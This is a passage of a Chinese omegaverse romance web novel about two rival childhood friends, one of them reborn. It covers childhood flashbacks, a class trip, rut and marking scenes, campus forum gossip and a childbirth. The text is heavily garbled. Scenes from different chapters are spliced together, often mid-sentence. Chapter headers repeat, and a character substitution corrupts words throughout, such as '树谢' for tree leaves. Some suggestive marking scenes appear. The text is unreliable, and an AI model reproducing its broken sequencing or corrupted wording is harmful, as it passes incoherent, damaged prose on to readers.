路鹿那会还没现在这么爱整蛊他,只是经常在房间里看书或者是练字,安安静静的也不怎么说话。 小孩子跟大人们总是有年龄上的代沟,所以谢铮都会偷偷溜到路鹿的房间里看着他一笔一画的连字,趴在桌子上眼睛一眨一眨的看着他。 路鹿的眼睛有轻微的近视,不过并不是因为他长时间看书导致的,而是受遗传引起的,所以小小年纪就戴上了一副老气沉沉的黑框眼镜。 谢铮到现在都还记得幼儿园那些小朋友都笑他的眼镜,并给他起了个“瞎字”的外号。 眼前的“瞎子”正聚精会神的努力让自己的笔画看起来端端正正,就像爷爷写出来的那样完美。 像谢铮这种活泼好动的孩子根本就耐不住,两条小短腿在椅子下晃来晃去,时不时踢到小路鹿的腿,很不安分。 然而对方对这个举动毫不在意,只是挪了挪椅子,让两人距离拉开,踢不到就行了。 一时间小谢铮也是被气到了,整个人站在椅子上居高临下的看着他,然后迅速摘下他的眼镜,嘴里还不停的嘀咕,“整天闷在房间无聊死了,不如我们一起出去玩吧,这个眼镜我就替你放起来。” 为了完成爷爷吩咐的任务路鹿自然不愿意出去,两个人就这么抢夺眼镜。 路鹿比谢铮大半岁,而且从不挑食,所以在身高上比谢铮高小半个头,推推搡搡间路鹿用力过猛把他推倒了,头不小心磕到了床角上,立马肿了起来。 娇生惯养的小谢铮哪里能受得了疼痛,他捂住自己的头就哭了起来,声音不大,细细的哭腔让路鹿一瞬间慌了起来。 在他眼里,谢铮就像一个容易破碎的瓷娃娃一样,很好欺负,可是一旦弄哭了之后他却不知所措的手忙脚乱了起来。 他连忙把小谢铮拉起来放到床上,用自己的袖子给他擦拭不停流下的眼泪,一边给他揉脑后肿起来的地方。 他的手扫过柔软的头发,触碰到那块微肿的地方时,心里不免泛起一阵心疼,“小谢子别哭了好不好?我陪你出去玩,你想玩什么我的陪你。” 小小的路鹿蹲在他面前不停的拍他的后背给他顺气,一遍一遍的哄着着位小祖宗直到他彻底不哭了。 路鹿突然间想到了什么,起身跑到自己的柜子前那出了妈妈之前去北京游玩时买的薄荷牛奶糖,他不是很喜欢吃甜食,所以就一直放着没动。 说不定这个可以安抚一下他。这个人的心切开来都是黑的,哪有一块好的地方? 后天就是去旅游的日子了,说实话他啥都还没准备,谢大少爷看着地上摆着的行李箱,一时犯了愁。 上一世他根本就没有去,他只顾着在家睡觉,根本就没有想要跟大家一起出去玩,因此错过了机会。 现在该带什么东西他都不知道,除了衣服以外,好像也没什么可以带的了。 在收拾东西的时候,他偶然才发现他自己柜子里放着一个精致的小盒子。 盒子上早已洒落了一层薄薄的灰,可以看出它被遗落了有一段时间了。 他拿起来端详了许久,才想起这是要送给路鹿的生日礼物。 前段时间是路鹿的生日,但是当时两人好像是不知道因为什么原因又闹了起来,赌气之下,他就把这个本该送出去的礼物扔在了柜子里没再看过了。 打开盒子,里面是一枚淡雅又精致的胸针。为了不输脸面,这个是他特地去找人定制的,就连图案都是他自己画的,世界上仅此一个,还用了珍贵的材料打制出来。 看了看旁边架子上陈列着的物品,他心里百感交集。 一直以来,他都把自己喜欢的东西放在架子上,但是每次都是路鹿送的东西特别符合自己审美,别人大多都是特别俗气的。 那里几乎摆满了他每一年送给自己的生日礼物。 谢铮每年也会送,但是今年缺席了。 想了想,他还是把礼物盖上盖子,拿着它出门了。 在通讯录里翻出了最底下那个人,开始打字: 谢铮并不想多花时间在这里跟他们缠斗,一个侧踢踹在冲上来的那个人胸口上,那人瞬间就踹飞好几米。 见此情况,全部人都围了上来,想就此牵制住他,有些人甚至还随手抄了工具,正恶狠狠地盯着他。 谢铮眉头皱起,有些烦躁,随手抓住身边离得近的一个人给了他一个破肩摔,瞬间扬起一地的灰尘。 杨杰想从背后突袭,谢铮余光瞥见了他笨拙的身影,直接对着他的腹部送了他一个肘击,动作又快又狠。 其他人见打不过,便一起释放大量的信息素想压制住他。 但他们不知道的是,谢铮是个顶级Alpha。 像他们这些普通的信息素,顶多只会让谢铮感到烦躁,并不能起到压制效果。 但不知为何,今天面对这么多扑面而来的信息素,谢铮后颈的腺体却有一丝刺痛,让他下意识地咬紧了牙关,手心泛出冷汗。 “唔……” 周围的混子们见状更加兴奋了,连忙释放出更高浓度的攻击性信息素,想逼他乖乖就范。 这些Alpha的等级虽然不高,但十多种混杂在一起如同一张渔网一样,将周围笼罩在一起,那些来不及跑的Omega通通跪倒在地上,腿软的站不起来,只能臣服于本能,在地上大口大口呼气。 谢铮忍着后颈的不适,一脚把冲上来的人踹翻在地。 亲自剥了糖果包装袋喂到他嘴里,让谢铮不哭也不闹了,就这么安安静静的坐在床上抱着枕头看着他。 经过刚刚的哭泣,谢铮那双漂亮的双眼皮红肿成单眼皮了,跟个小兔子一样,可怜又乖巧。可能是哭的有点猛了,肩膀一抽一抽的。 莫名看起来怪可爱的。 把剩下的一盒糖果塞给他,对着他轻声细语道,“这些糖果都给你了哦,不要生哥哥的气好吗?” 小谢铮没有说话,只是点点头,随后默默伸出自己的手,把那个一直抓在手心的眼镜在自己面前亮了出来。 示意他拿回去。 路鹿也对这个小弟弟心软了,或许他真的得花点时间好好陪陪他,在周围除了自己也没什么同龄的朋友能一起玩,他只能带着孤单找自己玩。 眼镜上面湿湿的,被攥在手心而沾上了一层薄薄的汗。 他没嫌弃,直接拿回来了。 收拾好自己桌面的东西,路鹿去找妈妈报备了一下,说要带他出去游乐园玩。 路阿姨从一开始的不同意到最后经不住他的软磨硬泡,最终还是松口了,但前提是让管家跟吴妈带着去。 毕竟两个小孩子去的话她肯定不放心,有大人带着就好多了。 后面的一整天下来,谢铮如愿以偿玩到了自己想玩的,一手拿着冰激凌,一手拉着路鹿,中途还不停的给他们闯祸,两个大人就在他们后面不停的擦屁股。 用一点皮肉伤换来的快乐,对他来说挺值的。 晚上,谢铮抱着枕头来到路鹿的房间,在门外一直赖着不走,奶声奶气的跟路阿姨说:“我想和哥哥睡。” 没办法,路阿姨只能放他进去一起睡了。 被窝里的谢铮没敢乱动,他把整个头窝在被子里闷闷道,“哥哥,你那个眼镜好丑啊,就不能换一个吗?” 路鹿背对着他没有说话。 “我爸爸戴着的那副金色的眼镜就特别好看,要不我叫爸爸带你去换……” 谢铮的声音越来越小,到最后完全没了声音。 白天玩的太嗨了,一到晚上就特别困,谢铮几乎就是沾床就入梦。 他侧过头去看谢铮,睡着了的谢铮安安静静的特别乖巧可爱,没了白天的调皮任性。 有些婴儿肥的脸看起来特别好捏,路鹿没忍住,伸出手戳了两下。 果然很软。 睡梦中的谢铮似乎是察觉到了,不爽的皱了皱眉头,翻个身继续睡了。 自那之后,他没再戴过那个眼镜了,而是换上一副金丝眼镜,就没出现过其他的颜色了。 现在谢铮每次想起来,都会感慨那时候的自己真的好矫情,亏路鹿还这么有耐心哄自己,要是自己肯定早就拍拍屁股走人了。 既然要去眼镜城,那肯定得换路线,既然如此他只能改变计划了。 为了避免伤害到其他人,他或许可以提前向交警透露信息预防一下,这样就有所准备。 路鹿揉了揉眉心,回到自己的桌面上拿出书继续写起了自己的笔记。 听说他这个专业的老师大部分都很严,挂科率高,而且正式上课之后的一个月有突击考试,这个考试的结果会作为平时成绩记入的,非常重要,他得认真去对待。 他叹了一口气,认命的复习起来- 谢铮日记 [五年前] 今天从爸妈家里搬出来,感觉空气都清新了 第 60 章 第 60 章 第60章 抑制贴起效慢,效果比起针剂也更温吞。 谢铮迷糊了一晚上,第二天才总算清醒过来。 床单乱糟糟的皱成一团,外套掉在地上,他身上还穿着昨天回家时候的那件衬衣,解开几颗扣子,裤子和袜子倒是已经被路鹿帮忙脱了,手和脸还残留着毛巾擦过的湿润。 谢铮撑着身体坐起来,头很晕,像宿醉的感觉。 他伸手去捡外套,看到自己无名指上有光芒闪烁着。 谢铮盯着那枚戒指,压低眉眼思索了半天,昨晚的记忆才一点点地重新回到脑海里。 “宝贝儿,这么想和叔叔结婚?” “哈,这么喜欢老公?没老公不行?” “老公也喜欢你,老公爱死你了。” “老公,宝贝小鹿,老公……给我吃点你的信息素,哈……” 带着自己5-10的战绩,李浩轩立马就下了游戏,去翻了翻自己很久没有关注过的校园墙。 不翻还好,一翻立马刷新他的认知,仿佛打开了新世界的大门。 【姐妹们,对于咱们学校大一的那两大帅哥,你们有没有什么想法?】 1L:没想法,人家都内部消化了,哪轮到我们。哭泣jpg 2L:听小道消息,他们还是竹马呢,从小就非常要好,这感情哪是我们能插足的。 3L:那不行,总得试试嘛(期待)(激动)(苍蝇搓手) 竹马?这次的易感期来的很突然,这是路鹿自己都没有预想到的,最开始他只是浑身都提不起劲,到后面心情就越来越烦躁了。 那时候他才反应过来,自己的易感期提前到来了。 因为他是顶级Alpha,一般的抑制剂对他起不了任何作用,于是他便在下课之后就去了一趟医院打特效抑制剂。 然后这只能起到一时的抑制作用。 他平时把自己的信息素收敛的太好了,一到易感期的时候就全部爆发出来,他晚上睡醒的时候,就隐隐能够察觉到,抑制剂的药效开始慢慢的消失了。 他本想洗个澡,好好的压制一下自己身体里的燥热,然后再打电话让管家把他接回去,等度过这段易感期再回学校。 但他没想到的是,谢铮在这时候敲开卫生间的门。 带着自己的私欲,还有一丝期待,他标记了谢铮。 易感期不仅仅让他的性格变得暴躁,还将他的情感放大了数倍,一切都向不可控制的方向走去。 他知道他在干什么,也知道后面会很难收场,但他就是想放肆一回。 在咬上谢铮腺体的那一刻,他的鼻尖能够清晰的闻到那股淡淡的蔷薇花香,哪怕是被他压制在身下,谢铮也没有对他释放攻击性的信息素。 真的好傻。 路鹿愣愣的想。 他现在不仅标记了谢铮,还动手动脚的,更死的是还把人家弄哭了,不用想也知道,谢铮要把他拉进黑名单了。 路鹿看着眼前用来发泄的沙袋,只觉得心里那股烦躁感又上来了。 妈的,得想个办法把人家哄回来。 他粗鲁的脱掉拳击手套,换下衣服就去了游泳池降温。 易感期的他只能通过运动来消耗自己的精力,以此来熬过这漫长又艰难的易感期。 要是有伴侣,让他咬几口或者是陪伴在他身边就能够很轻松的度过了,没有伴侣的Alpha只能自己熬过去。 如果可以,下辈子一定要投胎当一个Beta,能够安稳的度过自己的一生。 他从没有听谢铮提起过这个,但是他俩的感情却是时好时坏,虽然说有很大一部分是谢铮单方面的生闷气,但这好像也并不能证明他们有什么不可告人的事。 面无表情的划着屏幕,继续看下一条,这条倒是有意思多了。 【开学第一天就打架,但是两人却因为一颗糖就和解了。】 在这条帖子下,还附上了一张路鹿把手里的捏着的糖放在谢铮手心的照片。 可能是因为抓拍的缘故,照片拍的很模糊,但由于拍摄的距离近,依稀的可以看清他手里是一颗糖的模样。 1L:跟我男朋友一样,一颗糖就给收买了,特好哄。狗头jpg 2L:我家小o也是,他就特别喜欢吃糖,每次咱们吵架了我就拿一盒糖过去哄,屡试不爽。 3L:有没有更清晰的图?我想看看到底是什么牌子的神仙糖,我也想尝尝。 4L:楼上的,咱看一看就行了,这种糖国内没有,是得去国外买的,而且它的价格非常贵,你买一盒,这个月的生活费就没有了。 开学打架这件事他也知道,毕竟这两个人的信息素挺强的,他当时正在宿舍休息呢,一股恐怖的信息素就瞬间笼罩下来,差点让他喘不过气。 他本以为后面只是普通的罚站而已,没想到还有这么有趣的后续。 【什么时候我男朋友也能像路鹿这么深情的看着我,我也算死而无憾了。】 1L:人家的目光隐忍而又克制,我家那位傻不拉叽的,没眼看。 2L:可惜那位当事人身在福中不知福,好像还整天把他当做死对头,姐都替他们着急。 隐忍又克制?这什么鬼?“喂,你放假出不出去玩?”谢铮扯了扯他的衣服。 路鹿挑了挑眉,放下了手中的笔向他投去疑惑的眼神。 这家伙无事不早起的人,竟然会来问他出不出去玩,不用想都觉得奇怪。 谢铮一看他这个眼神就知道他在想什么了,他翻了个白眼,把手机递给他看,“我没你想的那么坏,是我们班的人提出在返校前两天全班组队去江南水乡旅游。” 他指了指上面的旅游攻略,“加上你的话刚好够人,这样就会有优惠。” 路鹿点点头,敛眸思考了好一会儿,并没有立即回答他。 谢铮的耐心有限,就这么举着手机他也累,就他不说话小脾气也上来了。 该不会是在想怎么好拒绝他的措辞吧,他难得去邀请这个人一起去玩他还不给面子。 正当他收回手的那一刻路鹿立马握住了他的手腕,“我想跟你去。” “你确定?你都得思考那么久。”谢铮扯了扯嘴,觉得这人很不情愿。 “你把这些攻略发给我,让我仔细看看,也好做准备。” “行,我这就去跟班长说一下。” 回到自己床上躺着,谢铮的手心都在发热。“你就当是吧。”路鹿懒得跟他那张哔哔机似的小嘴讲道理,“过来,我给你吹。” 这下谢铮多少有点不淡定了,他俩关系啥时候可以好到给对方吹头发了?死对头不应该是老死不相往来吗?不应该上演一出明争暗斗的戏码吗? 他有些艰难道,“我感觉你下一秒会薅我头发,而不是给我吹头发。” “少废话了,一直拿着吹风机我还嫌手酸呢。” 他把风速调到中等,用指尖轻轻扫过他头发细细的吹。 谢大少爷的发质从小就被养得很好,不像一般的男生一样粗硬,甚至相反,发丝又细又软,扫过手掌心很舒服,深褐色的发色将他的皮肤衬托得愈发白皙。 若是个Omeag,那绝对是极品中的极品。 而手掌心下的某人,犹如一只被顺毛的猫咪,正眯起眼睛享受着别人的服侍。 “你为什么会来C大,你不应该是在A大吗?”享受归享受,犹豫了很久,谢铮终究还是问出了一直缠绕在他心底的问题。 吹头发的手顿了顿,随即又跟什么都没发生似的继续吹着。 “那你为什么笃定我会在A大呢?”路鹿没有回答他的问题,反而是打了个太极拳,将问题重新抛回给他。 这回轮到谢铮语塞了,他总不能说上一世是他看着你被A大录取,并且拿着录取通知书在他面前炫耀的事。 他讪笑了一下,随便扯了个理由,“路阿姨跟我说你一直都把A大当成自己的目标,而且你是要学经济学的,经济学可是A大王牌专业,你去那里是理所应当的。” 这时头发也吹的差不多了,路鹿收起吹风机下了床,落地时声音很轻,小心翼翼到几乎没有声响。 “我只是想补偿我的遗憾罢了。” 这话听的谢铮一头雾水,来到C大就能补偿遗憾,什么遗憾? 见他没有想要继续说下去的意思,谢铮也识趣的闭了嘴没再问了。 这人多少有点莫名其妙。 上一世这个人一直都在A大,就连放假都很少回来,他们两个人碰面一般都是在重要节日说才见得到。 但无一例外都是在掐嘴,双方见面都是在嫌弃对方。 谢铮叹了一口气,翻身把被子盖住自己。 小时候是自己邀他出去玩,到现在还是他亲自邀人出去玩,就跟个木头一样无聊死了。 明天就是军训结束了,之前还觉得时间好难熬,可是一想到就要跟教官说再见,谢铮的心里莫名泛起了一股酸意。 再怎么说都是被他教过两次的人了,不舍得那是假的。 他拍了拍自己的脸,不停的提醒自己。活了两世的人了,感觉他现在是越来越多愁善感,跟个娘们唧唧的。 在他印象里,路鹿的的眼神一直都是平平淡淡的,如果有,那肯定是俯视蝼蚁的感觉,他们说的绝对不可能是真的。 李浩轩默默的关了手机。 他果然就不该看这些的,没几句是真的,让他差点就信了。 果然互联网就没什么好东西。 先出来的是个女孩,小小红红的,哭声很响亮。 后面出生的是男孩子,比姐姐还小了一圈,哭声也很大,两个小小的宝宝被医生并排摆在一起,几乎长得一模一样。 谢铮还醒着,依旧是平静的表情。医生给他看了一眼两个小孩子,他立刻抽搐着嘴角扭过头闭上眼睛。 路鹿几乎脱力地用额头碰了碰谢铮的额头,感觉眼睛湿漉漉的,但忍住了没有在这么多人面前流泪。 从手术室出来的时候天已经亮了。 谢铮躺在担架床上,看到窗户,星星和晨光共处于同一片天空,很漂亮。 他想到了路鹿动手术的那天,也是这样漂亮的凌晨,娜塔莉从手术室里面走出来,告诉他,老田,还有路鹿的奶奶:“手术做完了,还算顺利,只是患者情况还不够稳定。” 然后再过了一个小时,路鹿就醒了,转危为安,从此后没有病痛,健健康康。 谢铮笑着朝路鹿勾了勾手指。 等路鹿把耳朵凑近过来后,谢铮说:“就叫谢晨光和谢星光吧。”【你现在阅读的是 】 60-65 第 61 章 第 61 章 第61章 回到病房后谢铮有点困,但没立刻睡。 他给助理留言交代了一下今天的工作,又对路鹿说:“把那俩带过来我看一下。” 他刚生完的时候医生给他看了一眼,乍一看吓了一跳,谢铮想研究一下究竟是自己的问题还是这俩的问题。 路鹿点点头,小心翼翼地弯腰去抱那个小小的襁褓。 就在路鹿朝自己走过来的时候,一阵难以抑制的睡意席卷了谢铮,谢铮闭上眼睛,几乎是立刻就睡了过去。 再睁眼已经是几个小时之后,谢铮是被饿醒的。 他睁眼朝左边看,一个皱巴巴红彤彤的小东西躺在自己枕头边。 谢铮闭了闭眼,把头朝向另一侧,又一个皱巴巴红彤彤的小东西。 “醒醒,你再不起床,我们就要错过早茶了。”磨磨蹭蹭的跟着他下楼,谢铮就看到班长跟李浩轩两个人顶着一双熊猫大眼睛,正趴在桌子上睡觉。 谢铮不解的问:“他俩怎么了,半夜做贼去了?” 旁边的女生凑过去小声的回答他,“他俩昨晚在打游戏,打到凌晨3点多才睡的,我昨晚起来上厕所的时候,还能听到隔壁的动静。” 如果不是今天早上还要带他们继续去游玩,这俩估计能睡到中午。 他们刚下来没多久,之前定好的早茶也陆陆续续的端了上来。愿我这一世身体健康,平安顺遂。 铮愿树下,落英缤纷,人们把心愿系在枝头,随着微风飘扬,荡漾在时光的长河里。 谢铮也将自己的心愿系在枝头,让它随众人的一起飘荡。 在这棵传说中的许愿树下,每一个心愿都如同一片绿谢,承载着人们的梦想与期待。阳光透过树谢洒下,犹如星光璀璨的银河,让他晃了眼。 旁边的路鹿也刚好把自己的系了上去,谢铮想了想,终究还是没能忍住凑了过去,“你写了什么啊,跟我分享分享一下。” 路鹿撩起眼皮,深褐色的瞳仁给人一种漫不经心的感觉,闻言嘴角微微上扬,“你猜,猜对了有奖给你。” 瞧这人一脸坏笑,肯定是写诅咒他的坏事,这人果然没安好心。 谢铮轻哼一声,瞪了他一眼。 晚上回到客栈的时候谢铮率先去洗完澡就躺床上了,他今天走了一整天,说不累那是假的,他现在只想好好的睡一觉养足精神。 床上只有一条被子,但是枕头却有两个。 谢铮寻思着要不要找老板娘再要一条被子,就自己这睡像,他都怕他自己半夜抢被子。 但是他又转念一想,现在大热天的,好像盖不盖被子都没事,他一个Alpha也没那么弱,顶多只是让他嫌弃自己的睡像。 路鹿一般情况下都不会很早就睡的,他洗完澡后就在床上盘腿坐着,在手机上一张一张的翻看着今天拍的照片。 他之前学过一点拍照技术,所以拍出来的效果自然也不差,其中让他最满意的,还得是铮愿树的这张。 照片中的少年身形修长,下颚线条分明,仰着头,露出了脖颈上的喉结,锁骨很白,显得他此时此刻有点冷清。 他正踮起脚尖,把红绸系在树枝上,细白的手腕与鲜红的绸缎形成了鲜明的对比。 他突然间觉得,那条红绸不适合绑在树上,而是更适合绑在另一个地方。 “喂,反正时间还早,聊聊天呗。”旁边这人的存在感太强了,他想忽略都难,两个人就这么不说话也怪尴尬的。 路鹿瞬间把手机熄屏放好,顺势躺下,“聊什么?” 谢铮也不知道该聊点什么,就随口问了句,“你为什么为什么从小到大都要抢我的东西?” 路鹿一愣,反问道:“我什么时候抢过你的东西了?” 谢铮动了动身子,反过头来与他对视,掰着手指头一件件的数落他的“罪行”。 “在学校的时候你就每次都抢我的第一名,还有我妈也是,有时候我都觉得你是她亲儿子一样,老是偏心你。” 谢铮越想越不服气,“小时候老爸答应过我的,要是我考了第一名,就给我买一辆新的自行车,结果那个愿望到现在都没实现。” 他知道这不怪路鹿,是他自己不够实力,尽管他现在的零花钱已经够他买好几辆自行车,但这件事在他心里成了一根刺,到现在都没拔掉。 “抱歉,我不知道……” “不怪你,以后少点在我面前炫耀就行了。” 他怕自己会嫉妒,会自暴自弃,他的高傲不允许他低头。 谢铮翻了个身背对着他,闷闷道:“睡了,明天还要早点起来吃早茶呢,更何况今天我走的也累死了。” 路鹿听得很不是滋味。如果可以,他真的很想回到几年前故意考差点,让他拿到自己想要的东西,而不是像现在这样一直把遗憾留在心底。 他知道谢铮以前特别喜欢自行车,他还说一定要靠自己的努力获得一辆自行车,然后再骑着它去兜风。 但是后面就没提过了,他还以为是谢铮的新鲜感过去了,就没太在意那么多。 他点开手机,找出了他很久以前就想要的自行车款式,填写地址,下单。 看了看自己枕边的人,他满眼都是心疼。 但愿这能弥补一点童年的遗憾,让长大后的他能心满意足。 谢铮咬了一口他自己预定的灌汤包,有那么一瞬间觉得自己人生得到了美满。 灌汤包有一个成人拳头大小,它的皮薄如纸,透过光,甚至能看到汤水在里面摇晃,它以蟹黄、蟹肉入馅,每一滴鲜美的汤汁都以货真价实的原材料淬炼所得。 比家里的厨师做的还要好吃,谢铮默默的想。 或许谢女士会非常喜欢吃这种,到时候有机会就带她来这里尝尝看。 他们下午就得离开了,说是班长带队游玩,但其实是让大家分开,去玩自己想玩的。 毕竟昨天已经把那些重要的景点都看完了,剩下的就该自己去走走。 路鹿说他昨天有东西落在店铺那里了,想回去看看能不能取回来,就跟他们先行告别了。 自己去玩的话……他倒是有一个地方想去看看。 现在正值上午,树林里的阳光斑驳,透过树谢间的缝隙洒落下来,仿佛自然之神的金色琴弦。茂密的树冠如同一把巨大的绿色伞,为树下的小径遮蔽了阳光的热情。 嫩绿的树谢与树枝上的红绸交相辉映,美不胜收。 半梦半醒间,谢铮总感觉有人在拍他的肩膀,他翻了个身把被子提了起来盖过头顶,给对方留下一个背影。 那人似乎是无奈的叹一口气,盯着那团被子许久,最终还是下定决心,将整个被子掀了起来。 客栈的房间里都安装了空调,但是早晨是一天中最冷的时候,在被子掀起的一瞬间,无数凉飕飕的空气钻了进去,谢铮瞬间就被冷醒了。 熟悉他的人都知道,他有很大的起床气,更何况他昨晚还断断续续做了一个很漫长的梦,让他时不时被惊醒,一个晚上下来他根本就没睡好。 “你最好给我一个不打你的理由。”声音的主人语气透着浓浓的起床气,鼻音略重,看样子应该还属于迷迷糊糊的状态。 路鹿语重心长:“小祖宗,你看看现在多少点了,你不是最喜欢吃这里的甜点吗,现在楼下就有了,还不快赶紧收拾一下你这邋遢的样子。” 谢铮把头埋进枕头里,声音有点发闷,“你咋跟我妈一样啰嗦……” 话虽是这么说,身体却很真实的动了起来,趿拉着拖鞋一步步的走进了卫生间洗漱。 漱完最后一口,谢铮撩起眼皮看着眼前的镜子,镜子前的少年眼皮下泛着淡淡的乌青,刚睡醒的原因头发还有点乱,因为在睡梦中被吵醒,所以脸色有点臭。 他现在困死了,好想躺回去继续睡。 要不是昨晚那些断断续续的梦,他也不可能变得现在这个样子。 谢铮面无表情的捧了一把水泼在脸上,让自己清醒点。 昨晚那个梦,多少有点真真假假的意味,让他有一点分不清是真实发生的还是自己幻想出来的。 他梦见了自己在死后不久的某天,灵魂离开了肉身飘荡在人间,他看着家里人为他举行葬礼,也亲眼见证了自己的尸体一点点被推进火葬场火化。 他想去安慰一下哭得上气不接下气的谢女士,可伸出的手却是穿过了她的身体,无法触碰。 他碰不到,也没人能看得到他。 举行葬礼的那天路鹿来了,一袭黑衣,手持他最喜欢的朱丽谢玫瑰献给了他的墓前。 大红妖艳的朱丽谢玫瑰跟周围白色的菊花格格不入,不少亲戚都对他的行为很是不解,都在对他指指点点。 但路鹿对此只是淡淡的说了一句:“他喜欢的。” 那天的路鹿是他从没见过的忧伤,整个人的身上都透着一股化不开的情绪,眼中更是酝酿着无尽的怀念,他全程紧握着拳头,似乎是不愿接受这个结果。 谢铮突然间觉得,自己还真是没出息,不仅仅让死对头看到了自己最狼狈的样子,就连死了都还是他送终。 大半辈子的脸都在这一刻丢完了。 带着十分复杂的心情,谢铮跟在了他的身后。 一路跟着路鹿进了他的房间,谢铮四处观望了一下,发现他屋里的摆设就跟从前一样,没有变过,全都是他熟悉的。 看着桌面上的相框,谢铮愣了愣,想拿起来仔细看看却又是无形穿透而过- 谢铮日记 [三年前] 为什么一定要催我结婚? 妈的 烦 第 62 章 第 62 章 第62章 谢铮的声音近在咫尺,路鹿慢吞吞地眨了眨眼,觉得呼吸好像都停了。 有藤蔓从路鹿触碰着谢铮后背的指尖生长出来,一路缠绕过他的小臂,上臂,胸膛,最后扎进他的心脏里,又开出一朵朵的花骨朵。 路鹿搂着谢铮的手更紧了点。 “可是谢叔叔,”路鹿声音不大,语速很快:“我其实性格没那么开朗的,总是想很多,还总爱吃醋。” 吃醋。 路鹿吃过很多醋,很多很多,就在昨天还有过。 最开始时候吃宋清远的醋,嫉妒他和谢铮走得近,两个人年龄是那么相近,一起走过很多年。 后来去谢铮那实习,也吃过他助理的醋,谢铮和几个小助理说话都很有耐心,做错了事也不会太生气,他嫉妒那些人能每天待在距离谢铮这么近的地方,不像他,只能在暑假和谢铮待一个多月,就又要分开。 好吧,他就不该多问的。 说不定这个人可以在铮愿树下偷偷诅咒他说他坏话呢,这个黑心肝的家伙。 那到时候写那个铮愿牌的时候他就偷偷凑过去,看看对方写什么。 如果真的是写他的坏话,那到时候他也写多一个牌子,把他的话照搬下来挂上去,让他自作自受。 想到着,他都被自己真幼稚的想法给笑到了。 果然跟着这人混多了就会被影响。【出来一下,有东西给你。】 【给你五分钟的时间出来,过时间我就走了。】 正准备继续刷题的路鹿看到这信息的时候都愣了愣,反应过来后披上外套马上就下楼。 一开门的一瞬间一个东西就以一条完美的抛物线落到他怀里,他下意识的就伸手接住。 等看清楚的时候,他眼里划过一丝疑惑。 他没打开,只是在手里掂量掂量了下说,“这是什么?” “你的生日礼物……之前忘记给你了,现在补上。”谢铮顿了顿,生硬的说道。 路鹿食指轻抚过盒子上的花纹,弯了弯眼角,眼底的笑意流露出来,“谢谢小谢子的礼物,我很喜欢。” 闲着无聊他翻开自己的专业书粗略的看了起来。 说实话,这种学过的东西他现在不用看都还记得,但是挨不住宿舍有一个特别勤奋学习的人在默默给他压力。 每当深夜总会响起翻书书声,躺在床上就算是想忽略都难,潜移默化之下,他也跟着翻开书复习起来。 他的学习成绩也不差,属于看一眼就记得那种,但是跟路鹿这种努力型选手比起来就差了一份努力的汗水。 因此从小到大他都是在路鹿的尾巴后面当个万年老二。 深夜,床头的小夜灯依然亮着,谢铮侧过头去看时间里两个人唯一的照片。 两个人相拥而眠,非常恬静。 这是小时候谢女士拍的,那时候他俩关系很好,没怎么吵个架。 他看了照片许久,心里总有一种说不清楚的感觉。谢铮把眼神从他脸上挪开,让自己正视窗外,淡淡说:“当然,你不愿意的话,我也不强迫你,一切以自愿为原则。” 发泄信息素的话,对于Alpha来说最好是找一个Omgea, 毕竟AO相吸定理是所有人在心中根深蒂固的理念,同性相斥是无法改变的事实。 他作为承受的一方,就注定要付出代价,要忍住标记时带来的痛苦。 路鹿喉结微动,漆黑的瞳孔中划过一丝隐忍。 他没有想到和谢铮这样高傲的一个人,会向他提出这种合作,想抑制他的病症那就只有用标记注入,才能起到最大效果的作用。 可是承受Alpha的标记的就意味着耻辱,若不是被病痛折磨的狠了,他绝对不会向自己提出合作。 他的心仿佛被一双大手揪着,让他心疼得厉害。 见他不说话,谢铮的心底沉了沉,对自己嗤笑了一下,“不愿意就算了,我找别人。” 下意识的,路鹿立马反手握住了他的手,眼里带上了仓皇与凌乱,他尽量抑制住自己的心情,用低沉暗哑的声音回应他,“我愿意。” 属于Alpha恶劣的天性就此在心里蔓延,占有欲在此时此刻达到了顶峰。自己好不容易养大的小祖宗,他绝不可能拱手相让给别人,只能是他的。 谢铮一愣,没想到他竟然同意了,那双方的病就能慢慢的痊愈,回归正常人的生活。 他正了正神色,尽量平静地说:“可以,但我们得定个条约。” 路鹿看着他,“你说。” “第一,我们的合作不能让别人发现,包括我们的父母。 第二,得经过我同意为前提,你才能对我进行标记。 第三,不许对我动手动脚。” 那晚标记的情况还历历在目,每当想起路鹿在自己身上到处游走的手时,他的耳根都会莫名发烫。 路鹿显然也是意识到了这件事,努力为自己正名,“那晚是个意外,易感期让我失去了理智。” 但他很快又说道:“身为合作方之一,我能再加个条件吗?不然这样的话对我太不公平了。” 谢铮瞥了他一眼,“只要不是太过分的,你可以提。” “既然我俩相互合作了,那就必须保持忠诚,你跟我都不许找另外的人帮助。”他真的无法看到谢铮找别人,自己必须是他的首选。 谢铮听得有点恼火,这话说的,他好像要出轨一样,对自己就这么不放心。 “那当然。” 条约敲定,即刻生效。 谢铮缓缓解开自己衣领上的扣子,尽量让自己的脖子露出来大片皮肤,随后坐到他的床边,撕下抑制贴把整个脖子展现在他眼前。 “来吧。” 路鹿的眸子瞬间就暗了暗,视线定格在那两排淡红色的牙印上。 这人的长相很好看,和白天想比,少了几分调皮性,多了几分柔和。 其实这样的睡相他没少看,在他们关系还没有发生变化的时候,他经常抱着枕头钻进路鹿的被窝里赖着不出来。 那时候只要他娇娇软软地叫一声路哥哥,然后在路鹿脸上亲一口,路鹿便拿他没辙,只会给他盖好被子,然后轻轻拍着被子哄他睡觉。 那时候……真的还不错。 但是现在想起来,就成了他的黑历史,庆幸的是他现在不记得了,要是被他说出来,谢铮估计能找个地方钻进去。 把手机关上,努力把这些黑历史抛之脑后,他翻个身子就睡觉了。 到了约定的地方,大家谁也没迟到,为了节约成本,所以交通工具就是坐火车去。 大家都是仗着自己年轻,兴奋的一晚上都没睡,就等着天亮到时间就出发。 谢铮自然也不例外,他大概只睡了两个小时就自然醒了,然后一直都睡不着,就这么睁着眼睛到天亮。 一上车找到自己的座位,大家没多久就歪着头昏昏欲睡。 不过有一点运气不好,就是他的死对头路鹿竟然坐在他旁边靠窗的位置,甚至还笑着对他说了句:“我俩还真是有缘分。” 有缘分个屁。谢铮在心里暗骂着。 他坐心里带上眼罩,眼不见心为静,准备安安心心的补觉。 路鹿见状也没再逗他,一路上都安安静静的看着书,时不时看一下旁边人的状况才安心。 经过一番舟车劳顿,一行人终于来到了江南。 不得不说,初见水乡,大家都被眼前的美景所吸引。小桥流水、绿树成荫、白墙黛瓦,一切都如诗如画。 谢铮走在青石板路上,感受着江南的温婉韵味,仿佛穿越回了古代。 他突然间觉得,自己之前就是不知好歹,放着好玩的不享受却在睡觉,上辈子真的是白活了。 谢铮的眼眸闪烁了下,手指动了动,回复了个好就把手机摁息屏了。 